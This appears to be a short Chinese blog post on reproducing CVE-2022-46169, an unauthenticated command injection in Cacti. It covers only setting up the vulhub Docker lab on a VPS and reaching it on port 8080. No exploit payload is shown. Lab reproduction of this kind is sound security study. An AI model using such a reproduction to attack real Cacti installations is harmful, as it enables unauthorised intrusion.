Cacti 未经身份验证的命令注入 CVE-2022-46169复现

环境部署

#git clone很慢，使用浏览器下载压缩包vulhub-master.zip
https://github.com/vulhub/vulhub

#上传vulhub-master.zip到vps
rz -E

#解压
unzip vulhub-master.zip -d ./

#靶场环境部署
cd vulhub-master/cacti/CVE-2022-46169
docker-compose up -d

#查看容器信息
docker ps

#通过容器信息得到如下规则，访问宿主机的8080即可
0.0.0.0:8080->80/tcp, :::8080->80/tcp

访问http://172.25.254.139:8080
